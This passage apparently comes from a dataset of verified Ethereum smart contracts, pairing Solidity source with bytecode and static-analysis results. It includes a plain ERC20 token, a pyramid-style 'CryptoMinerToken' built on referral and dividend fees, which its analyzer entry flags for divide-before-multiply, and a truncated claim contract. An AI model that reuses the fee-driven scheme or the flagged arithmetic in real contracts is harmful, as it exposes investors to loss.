standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract DoorBTC is StandardToken { string public constant name = "DoorBTC Coin"; // solium-disable-line uppercase string public constant symbol = "DC"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = (10 ** 8) * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0000000000000000000000000000000000000000, msg.sender, INITIAL_SUPPLY); } }
0x608060405234801561001057600080fd5b50600436106100d1576000357c010000000000000000000000000000000000000000000000000000000090048063661884631161008e578063661884631461020957806370a082311461023557806395d89b411461025b578063a9059cbb14610263578063d73dd6231461028f578063dd62ed3e146102bb576100d1565b806306fdde03146100d6578063095ea7b31461015357806318160ddd1461019357806323b872dd146101ad5780632ff2e9dc146101e3578063313ce567146101eb575b600080fd5b6100de6102e9565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017f6004803603604081101561016957600080fd5b50600160a060020a038135169060200135610320565b604080519115158252519081900360200190f35b61019b610386565b60408051918252519081900360200190f35b61017f600480360360608110156101c357600080fd5b50600160a060020a0381358116916020810135909116906040013561038c565b61019b610503565b6101f3610512565b6040805160ff9092168252519081900360200190f35b61017f6004803603604081101561021f57600080fd5b50600160a060020a038135169060200135610517565b61019b6004803603602081101561024b57600080fd5b5035600160a060020a0316610607565b6100de610622565b61017f6004803603604081101561027957600080fd5b50600160a060020a038135169060200135610659565b61017f600480360360408110156102a557600080fd5b50600160a060020a03813516906020013561073a565b61019b600480360360408110156102d157600080fd5b50600160a060020a03813581169160200135166107d3565b60408051808201909152600c81527f446f6f7242544320436f696e0000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a03831615156103a357600080fd5b600160a060020a0384166000908152602081905260409020548211156103c857600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156103f857600080fd5b600160a060020a038416600090815260208190526040902054610421908363ffffffff6107fe16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610456908363ffffffff61081016565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610498908363ffffffff6107fe16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6a52b7d2dcc80cd2e400000081565b601281565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561056c57336000908152600260209081526040808320600160a060020a03881684529091528120556105a1565b61057c818463ffffffff6107fe16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600281527f4443000000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561067057600080fd5b3360009081526020819052604090205482111561068c57600080fd5b336000908152602081905260409020546106ac908363ffffffff6107fe16565b3360009081526020819052604080822092909255600160a060020a038516815220546106de908363ffffffff61081016565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461076e908363ffffffff61081016565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561080a57fe5b50900390565b60008282018381101561081f57fe5b939250505056fea165627a7a7230582034cf20c61a8dd3fb724d05deca2881c597da2a404f956c3d0b13e71af2fa04cf0029
{"success": true, "error": null, "results": {}}
597
0x0a97094c19295E320D5121d72139A150021a2702
pragma solidity ^0.4.25; /* * https://minertoken.cloud * * Crypto miner token concept * * [✓] 4% Withdraw fee * [✓] 10% Deposit fee * [✓] 1% Token transfer * [✓] 33% Referal link * */ contract CryptoMinerToken { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "Crypto Miner Token"; string public symbol = "CMT"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 10; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 4; uint8 constant internal refferalFee_ = 33; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return this.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6080604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461015157806310d0ffdd146101db57806318160ddd146101f35780632260937314610208578063313ce567146102205780633ccfd60b1461024b5780634b7503341461026257806356d399e814610277578063688abbf71461028c5780636b2f4632146102a657806370a08231146102bb5780638620410b146102dc578063949e8acd146102f157806395d89b4114610306578063a9059cbb1461031b578063e4849b3214610353578063e9fad8ee1461036b578063f088d54714610380578063fdb5a03e14610394575b61011b3460006103a9565b50005b34801561012a57600080fd5b5061013f600160a060020a036004351661060c565b60408051918252519081900360200190f35b34801561015d57600080fd5b50610166610647565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e757600080fd5b5061013f6004356106d5565b3480156101ff57600080fd5b5061013f610708565b34801561021457600080fd5b5061013f60043561070e565b34801561022c57600080fd5b5061023561074a565b6040805160ff9092168252519081900360200190f35b34801561025757600080fd5b5061026061074f565b005b34801561026e57600080fd5b5061013f610822565b34801561028357600080fd5b5061013f610879565b34801561029857600080fd5b5061013f600435151561087f565b3480156102b257600080fd5b5061013f6108c2565b3480156102c757600080fd5b5061013f600160a060020a03600435166108c7565b3480156102e857600080fd5b5061013f6108e2565b3480156102fd57600080fd5b5061013f61092d565b34801561031257600080fd5b5061016661093f565b34801561032757600080fd5b5061033f600160a060020a0360043516602435610999565b604080519115158252519081900360200190f35b34801561035f57600080fd5b50610260600435610b3c565b34801561037757600080fd5b50610260610ca8565b61013f600160a060020a0360043516610cd5565b3480156103a057600080fd5b50610260610ce1565b600033818080808080806103c86103c18c600a610d97565b6064610dcd565b96506103d86103c1886021610d97565b95506103e48787610de4565b94506103f08b88610de4565b93506103fb84610df6565b9250680100000000000000008502915060008311801561042557506006546104238482610e8e565b115b151561043057600080fd5b600160a060020a038a161580159061045a575087600160a060020a03168a600160a060020a031614155b80156104805750600254600160a060020a038b1660009081526003602052604090205410155b156104c657600160a060020a038a166000908152600460205260409020546104a89087610e8e565b600160a060020a038b166000908152600460205260409020556104e1565b6104d08587610e8e565b945068010000000000000000850291505b60006006541115610545576104f860065484610e8e565b600681905568010000000000000000860281151561051257fe5b6007805492909104909101905560065468010000000000000000860281151561053757fe5b04830282038203915061054b565b60068390555b600160a060020a03881660009081526003602052604090205461056e9084610e8e565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105d86108e2565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b820191906000526020600020905b8154815290600101906020018083116106b057829003601f168201915b505050505081565b60008080806106e86103c186600a610d97565b92506106f48584610de4565b91506106ff82610df6565b95945050505050565b60065490565b600080600080600654851115151561072557600080fd5b61072e85610e9d565b925061073e6103c1846004610d97565b91506106ff8383610de4565b601281565b600080600061075e600161087f565b1161076857600080fd5b339150610775600061087f565b600160a060020a038316600081815260056020908152604080832080546801000000000000000087020190556004909152808220805490839055905193019350909183156108fc0291849190818181858888f193505050501580156107de573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b60008060008060065460001415610840576414f46b04009350610873565b610851670de0b6b3a7640000610e9d565b92506108616103c1846004610d97565b915061086d8383610de4565b90508093505b50505090565b60025481565b60003382610895576108908161060c565b6108b9565b600160a060020a0381166000908152600460205260409020546108b78261060c565b015b91505b50919050565b303190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156109005764199c82cc009350610873565b610911670de0b6b3a7640000610e9d565b92506109216103c184600a610d97565b915061086d8383610e8e565b600033610939816108c7565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b6000806000806000806109aa61092d565b116109b457600080fd5b336000818152600360205260409020549094508611156109d357600080fd5b60006109df600161087f565b11156109ed576109ed61074f565b6109fb6103c1876001610d97565b9250610a078684610de4565b9150610a1283610e9d565b9050610a2060065484610de4565b600655600160a060020a038416600090815260036020526040902054610a469087610de4565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a759083610e8e565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610ae99190680100000000000000008402811515610ae357fe5b04610e8e565b600755604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b6000806000806000806000610b4f61092d565b11610b5957600080fd5b33600081815260036020526040902054909650871115610b7857600080fd5b869450610b8485610e9d565b9350610b946103c1856004610d97565b9250610ba08484610de4565b9150610bae60065486610de4565b600655600160a060020a038616600090815260036020526040902054610bd49086610de4565b600160a060020a03871660009081526003602090815260408083209390935560075460059091529181208054928802680100000000000000008602019283900390556006549192501015610c4457610c40600754600654680100000000000000008602811515610ae357fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c7a6108e2565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b3360008181526003602052604081205490811115610cc957610cc981610b3c565b610cd161074f565b5050565b60006108bc34836103a9565b600080600080610cf1600161087f565b11610cfb57600080fd5b610d05600061087f565b33600081815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d479084906103a9565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610daa5760009150610dc6565b50828202828482811515610dba57fe5b0414610dc257fe5b8091505b5092915050565b6000808284811515610ddb57fe5b04949350505050565b600082821115610df057fe5b50900390565b6006546000906c01431e0fae6d7217caa00000009082906402540be400610e7b610e75730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a02017005e0a1fd2712875988becaad0000000000850201780197d4df19d605767337e9f14d3eec8920e40000000000000001610f09565b85610de4565b811515610e8457fe5b0403949350505050565b600082820183811015610dc257fe5b600654600090670de0b6b3a7640000838101918101908390610ef66414f46b04008285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be40002811515610ef057fe5b04610de4565b811515610eff57fe5b0495945050505050565b80600260018201045b818110156108bc578091506002818285811515610f2b57fe5b0401811515610f3657fe5b049050610f125600a165627a7a72305820bacf4154e5e15de62d141a0fc5ff3338e516e8f7f7fbb389a0d8d66aa9a178ad0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
598
0x79dc7bbfd0c9088b0633556d292b24c6f2dae33c
/** *Submitted for verification at Etherscan.io on 2021-05-13 */ /** *Submitted for verification at Etherscan.io on 2021-05-12 */ pragma solidity ^0.5.0; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ICourtStake{ function lockedStake(uint256 amount, address beneficiar, uint256 StartReleasingTime, uint256 batchCount, uint256 batchPeriod) external; } contract HT_Claim is ICourtStake{ using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public courtToken = IERC20(0x0538A9b4f4dcB0CB01A7fA34e17C0AC947c22553); uint8 public courtDecimals = 18; IERC20 public usdtToken = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); uint256 public usdtDecimals = 6; uint256 public numerator = 100; uint256 public denominator = 1; // usdt is 6 decimals so 1 usdt = 1e12 other mapping(address => bool) hasPermissionToCallLockedStake; address public owner; constructor() public{ owner = msg.sender ; } function changeParameters(address courtAddress, address usdtAddress, uint256 decimals,uint256 _numerator, uint256 _denominator) public{ require(msg.sender == owner, "only owner can change Numerator and 